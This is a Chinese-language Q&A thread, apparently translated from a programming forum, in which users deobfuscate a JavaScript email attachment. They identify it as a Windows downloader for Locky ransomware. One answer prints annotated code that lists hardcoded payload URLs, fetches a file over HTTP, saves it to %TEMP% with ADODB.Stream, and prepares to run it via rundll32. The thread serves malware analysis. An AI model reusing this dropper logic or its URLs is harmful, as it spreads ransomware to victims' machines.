试图解码骗局脚本的结果

时间:2016-08-27 00:39:40

标签: javascript malware

有人一直在发送JS文件,试图诱使我(可能是其他人)运行文件并破坏他们的系统。

事情是,我有Mac并且看看这段代码它似乎在Mac上没用。作为一名JavaScript开发人员,即使在Windows计算机上,我也不确定它有多么有用。

代码太大而不适合这里,所以我在GitHub上发布了它:

https://gist.github.com/anonymous/dfead201c8e5dc48f98548d0bdb7ac26

这段代码到底有什么用?

我在沙箱中运行它会导致控制台错误。

3 个答案:

答案 0 :(得分:3)

决定在这里发布我发现的结果(而不是在评论中),因为它需要超过600个字符;)。

所以 - 脚本的第一次运行(由评论发布)将在混淆后给出这段代码: http://pastebin.com/cFuijfFS

使用它 - 代码将运行以下命令:

var IGv7=[Yc+Hu1+Yq8+Jj+KFg2+Ka6+Hk+OHi6+ULs4+EBb, Tj4 + Dk7+Pc2+Hj8+As + YXv5+TIk0+Rj+Kb3+NZa2+DVq+Vx+KIi+Yh4 + XTc5+NHe3+Pv6+ATm5, Tj4 + Dk7+Gl+QLu+Pr+KIi+So+Af1+Nu + Zz+Kb + Zn1+Ik+Vy4, Yc+It+Nd+Ty+Lc+DFu+Lf4+LEa4+Zh1 + Kc+LSk+Tu6, Vg7 + Tp7+AUi+OPo + Oi+NGu8+DXl1+Px9 + Fa + Js9+KPm];
// var IGv7=["http://econopaginas.com/kudrd", "http://baer-afc2.homepage.t-online.de/4yhgvna", "http://jhengineering.szm.com/on9wjn", "http://otwayorchard.net/eo240k", "http://rejoincomp2.in/1tdqo6"]

var Xl3=WScript[Sk6 + STd1 + Jz + GNu0](Zn4 + ALt + Qs8 + UQw);
// Xl3=WScript["CreateObject"]("WScript.Shell");
// Lets say X13 == SHELL

var XWe=Xl3.ExpandEnvironmentStrings(ZFq + YMy6);
// var XWe=SHELL.ExpandEnvironmentStrings("%TEMP%/")

var NQf6=XWe + Vm0 + LCo + Bp + Ty0;
// var NQf6=C:/TEMP/XfZn0ghPqqlucK

var Nt5=NQf6 + Aq4 + FQn5;
// var Nt5="C:/TEMP/XfZn0ghPqqlucK.dll"

var Vu = Xl3.Environment(Cf8 + EMb);
// var Vu = C:/system

// PUb + YZg2 + BMc + Bs8 + DEa + HSu1 + Db4 == "PROCESSOR_ARCHITECTURE"
if (Vu(PUb + YZg2 + BMc + Bs8 + DEa + HSu1 + Db4).toLowerCase() == "amd64")
{
    // Check if we are in amd64
    var UFn4 = Xl3.ExpandEnvironmentStrings(OMi0);

    // var UFn4 = "%SystemRoot%\SysWOW64\rundll32.exe"
}
else
{
    var UFn4 = Xl3.ExpandEnvironmentStrings(DCx);
    // var UFn4 = "%SystemRoot%\system32\rundll32.exe"
}
... 
var SPz0=[WQp1 + WCl1 + TYr1 + Np, Wd + CMz6 + Ey7 + GXj + Kk2 + Fb8 + POy1];
// SPz0=["MSXML2.XMLHTTP", "WinHttp.WinHttpRequest.5.1"]

// Try to create the XMLHTTP object
for (var Lp9=0; Lp9 < SPz0[ETi8 + Fp]; Lp9++)
{
    try 
    {
        var MBi0=WScript[Sk6 + STd1 + Jz + GNu0](SPz0[Lp9]);
        break;
    }
    catch (e)
    {
        continue;
    }
};

var OPr3 = "";
// FIj2 + HOf + LBa1 + ZJo + MPr8 + Az + DZx6 == "Scripting.FileSystemObject"
var fso = new ActiveXObject(FIj2 + HOf + LBa1 + ZJo + MPr8 + Az + DZx6);


var MTm6 = uheprng(Math.random().toString());
var ENa6=1;
do
{
    // Check ACTIVEXOBJECT_FileSystemObject[FileExists](dll file from before)
    if (fso[DQq + Js + Va + Vn](Nt5))
    {
        var Em = fso.GetFile(Nt5);
        var DAb4 = Em.ShortPath;
        OPr3 = DAb4+ZYz;

        // check if the same dll file with ".txt" extension exists
        if (fso[DQq + Js + Va + Vn](OPr3)) {
            // run quite()
            this[Dv + Dx + Go7][Jh + Nz3](824 - 824);
        }
    }

    var HFw3 = MTm6(IGv7[ETi8 + Fp]);

    try
    {
        if (1== ENa6)
        {
            // Do a GET request to the url "http://jhengineering.szm.com/on9wjn"
            MBi0[NOc6](YRk1 + XWj, IGv7[HFw3++ % IGv7[ETi8 + Fp]], false);
            MBi0[BBw + Co]();
        }

        if (MBi0.readystate < 4) 
        {
            // WScript["Sleep"](100);
            WScript[SJl + Hj](100);

            continue;
        }


        var Nf=WScript[Sk6 + STd1 + Jz + GNu0](YPt6+CXb+Tv0+Da1 + Ng2);
        // var Nf=WScript["CreateObject"]("ADODB.Stream")


        // ADOBE_SCRIPT[open]()
        Nf[NOc6]();

        // ADOBE_SCRIPT[type] = 1
        Nf[Aj9]=Yz; 

        // ADOBE_SCRIPT[write](content from the XMLHTTPRequest we just did)
        Nf[Vr3](MBi0[Nb + Re + HKj + Zk]);

        // Set position of the adodb.stream to 0
        Nf[Hz + QWh5 + VSo5]=0;

        // Save the content to the file NQf6 (the file in c:/temp)
        Nf[WGa + Yh + OAk](NQf6, IDz0);

        // close the file
        Nf[Cz + FLv2]();

还在继续工作,将在这里更新更多信息:)

答案 1 :(得分:2)

似乎运行wscript是一个Windows程序来进行管理更改,是的,对于运行此操作的Windows用户来说听起来像坏消息:P

它使用2个数组来混淆代码,这将使用eval运行,如果有人不在像我这样的手机上,则复制以var Q1开头的最后一行并用console.log替换eval。这将输出可能显示它包含什么邪恶的js代码。它可能会被缩小,所以通过js pretifier运行它,也许它会再次使用数组来再次混淆代码LOL,代码开始。

可悲的是,我正在打电话,否则这将是一个很好的谜题xD

编辑:太好奇了,要用手机上的jsfiddle调查它,触摸屏是一个噩梦,有这样的东西..

EDIT2:

代码开始!

https://jsfiddle.net/3sn6o9o9/

.

看到它生成的js输出,更多的混淆,我们必须更深入!

答案 2 :(得分:1)

总结一下:这是一个下载器。它从四个硬编码URL中的一个下载加密的DLL,对其进行解密(使用PRNG流进行简单的XOR),然后使用rundll32(使用指定的参数)运行。该DLL包含Locky勒索软件。